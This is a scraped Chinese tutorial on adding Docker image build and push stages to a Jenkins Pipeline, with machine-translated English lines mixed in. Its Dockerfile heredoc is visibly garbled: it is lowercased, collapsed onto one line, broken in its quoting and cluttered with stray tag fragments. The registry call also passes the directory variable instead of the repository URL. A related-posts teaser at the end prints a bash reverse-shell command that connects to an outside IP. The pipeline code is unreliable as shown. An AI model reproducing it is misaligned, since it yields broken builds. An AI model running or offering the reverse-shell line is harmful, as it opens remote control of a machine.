自动化集成:Pipeline整合Docker容器

前言:该系列文章,围绕持续集成:Jenkins+Docker+K8S相关组件,实现自动化管理源码编译、打包、镜像构建、部署等操作; 本篇文章主要描述流水线集成Docker用法

自动化集成:Pipeline整合Docker容器

一、背景描述

微服务架构是当前的主流技术选择。当一项业务具体落地时,会有很多商业服务。无论是在开发、测试还是上线的任何节点,如果基于人工编译对服务进行打包,不仅运行成本极高,而且容易出错。

[En]

Micro-service architecture is the current mainstream technology selection. When a business is specifically landed, there will be a lot of business services. Whether in any node of development, testing or online, if the service is packaged based on manual compilation, the operation cost is not only extremely high, but also easy to make mistakes.

通过Pipeline流水线的方式,将服务镜像构建编排成一键触发执行,实现自动化的管理流程,是微服务架构中的必要的功能模块。

二、流程设计

本篇中的流程节点,主要针对打包好的应用 Jar包,在docker模块中的处理流程,主要是镜像构建管理与容器运行:

自动化集成:Pipeline整合Docker容器
  • 构建docker文件目录与内容;
  • 拷贝 Jar包,创建 Dockerfile脚本文件;
  • 执行docker镜像构建,推送云仓库;
  • 拉取镜像文件并运行docker容器;

整个流程的都放在Pipeline流水线中,衔接在本地Jar包生成之后。

三、实现过程

1、插件安装

首先安装流程中Docker集成的相关插件: Docker PipelineDocker pluginCloudBees Docker Hub/Registry Notification

在之前的流水线篇幅中,已经通过流水线完成Gitee仓库代码pull和本地打包,下面开始处理docker环节。

2、镜像构建脚本

关于Dockerfile的脚本语法也可以参考之前docker篇幅,下面看流水线中的用法:

    environment {
        docker_directory = 'docker-app'
        docker_repository = '仓库URL'
    }

        stage('Dockerfile') {
            steps {
                sh '''
                rm -rf ${docker_directory}
                mkdir -p ${docker_directory}
                cp auto-client/target/auto-client-1.0-SNAPSHOT.jar ${docker_directory}/auto-client.jar
                cd ${docker_directory}
cat>Dockerfile<<eof from java:8 maintainer cicadasmile volume data docker logs add auto-client.jar application.jar entrypoint ["java","-dspring.profiles.active="dev","-Djava.security.egd=file:/dev/./urandom","-jar","/application.jar"]" eof cat dockerfile ''' echo "create success" } < code></eof>

脚本说明:

  • 在流水线的工作空间创建目录 docker-app
  • 每次执行都清空一次docker目录,再把Jar包和Docker脚本放进去;
  • cat-EOF-EOF:即创建Dockerfile文件,并把中间的内容写入;
  • 脚本内容必须写在文件的顶行
    [En]

    the contents of the script must be written at the top line of the file*

3、打包推送

这里即进入docker目录,执行镜像打包的操作,并把镜像推送到云端仓库,很多仓库都是私有的,需要身份验证,通过配置凭据去访问:

stage('DockerImage'){
    steps {
        script {
            dir("${docker_directory}") {
                sh 'ls'
                docker.withRegistry("${docker_directory}", '&#x8BBF;&#x95EE;&#x51ED;&#x636E;') {
                   docker.build("doc-line-app:latest").push()
                }
            }
            echo "build DockerImage success"
        }
    }
}

4、凭据配置

打开 Manage Jenkins界面, Manage Credentials选项;

自动化集成:Pipeline整合Docker容器

按如下流程配置即可:

自动化集成:Pipeline整合Docker容器

同系列推荐

四、源代码地址

GitEE&#xB7;&#x5730;&#x5740;
https://gitee.com/cicadasmile/butte-auto-parent
Wiki&#xB7;&#x5730;&#x5740;
https://gitee.com/cicadasmile/butte-java-note

Original: https://www.cnblogs.com/cicada-smile/p/15757248.html
Author: 知了一笑
Title: 自动化集成:Pipeline整合Docker容器

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/524216/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

  • 反弹shell的各种基础姿势

    Victim: bash -i >& /dev/tcp/175.11.142.54/443 0>&1 Copy /bin/bash -i > /d…

    Linux 2023年5月28日
    096
  • Xvfb相关命令

    第一种启动方法:Xvfb :99-ac2>/dev/nullexport DISPLAY=:99xhost + & 第二种启动方法Xvfb-ac${DISPLAY:-…

    Linux 2023年6月13日
    0108
  • 使用docker 5分钟搭建一个博客(mysql+WordPress)

    一.系统环境 二.前言 三.搭建博客 3.1 创建wordpress和mysql容器 3.2 在wordpress界面设置个人博客信息 3.3 WordPress容器创建命令的简化…

    Linux 2023年6月7日
    0110
  • SpringBoot-Mybatis

    SpringBoot 整合 Mybatis SpringBoot-Mybatis 10.1 导入 MyBatis 所需要的依赖 org.mybatis.spring.boot my…

    Linux 2023年6月14日
    092
  • yum源安装nginx

    nginx使用yum源安装 安装步骤 使用yum源安装依赖 yum install yum-utils 配置nginx.repo的yum文件 vim /etc/yum.repos….

    Linux 2023年6月8日
    0120
  • jdk8 时间

    package p2022; import java.text.SimpleDateFormat; import java.util.Date; /** * @descriptio…

    Linux 2023年6月8日
    0102
  • archLinux 配置用户

    archlinux 启动之后只有默认的root用户,首先介绍下系统启动到登录需要的步骤 1.系统通过systemd 以pid为1初始化系统,启动系统用户和系统必要的服务,(这一步目…

    Linux 2023年6月13日
    084
  • 编写 Shell 程序,实现自动删除 50 个账号的功能,账号名为stud1 至 stud50 ?

    #!/bin/bash for((i=1;i<51;i++))< code><code>do</code><code> &am…

    Linux 2023年5月28日
    099
  • 解决Ubuntu(20.04)开机、关机、重启慢,有光标闪烁问题

    1. 问题描述 在开关机或重启时,等待时间很长,大约1分30秒,光标闪烁。 [En] When switching on and off, or rebooting, the wa…

    Linux 2023年5月27日
    075
  • 画图3D Paint 3D工作区黑屏

    最近不知道画图3D抽什么风,黑屏了。 后来研究很久,发现这货竟然是用独立显卡,集显带不起来。 解决方案是在Nvidia控制面板给他分配独立显卡,不要使用集显,不要使用集显,不要使用…

    Linux 2023年6月13日
    0121
  • Shell 函数带中横线问题排查

    Shell 中编写的函数,如果函数名中带了中横线,在使用 /bin/sh 执行时会报错。 ➜ subprocess git:(master) ✗ cat kubectl.sh _k…

    Linux 2023年5月28日
    089
  • 3. 文件与I/O

    文件与I/OO read&#x7CFB;&#x7EDF;&#x8C03;&#x7528; 函数原型 一旦有了与一个打开文件描述相连的文件描述符,只要…

    Linux 2023年6月6日
    0110
  • Tomcat性能优化方案

    你使用过tomcat的话,简单的说就是”内存溢出”. 通常情况下,这种问题出现在实际的生产环境中.产生这种问题的原因是tomcat使用较少的内存给进程,通过…

    Linux 2023年6月14日
    0112
  • MySQL slow log 慢日志

    sql慢日志用于记录执行时间超过指定阈值的SQL,对于系统性能和故障排错非常有帮助 1.如何开启sql慢日志 –&#x5F00;&#x542F;slow log …

    Linux 2023年6月6日
    078
  • Centos7升级内核

    1、查看当前内核版本 $ uname -r 3.10.0-1160.25.1.el7.x86_64 $ uname -a Linux localhost.localdomain 3…

    Linux 2023年6月13日
    074
  • 给亨亨猫软件配置系统代理下载国外视频

    404. 抱歉,您访问的资源不存在。 可能是网址有误,或者对应的内容被删除,或者处于私有状态。 代码改变世界,联系邮箱 contact@cnblogs.com 园子的商业化努力-困…

    Linux 2023年6月7日
    098
亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球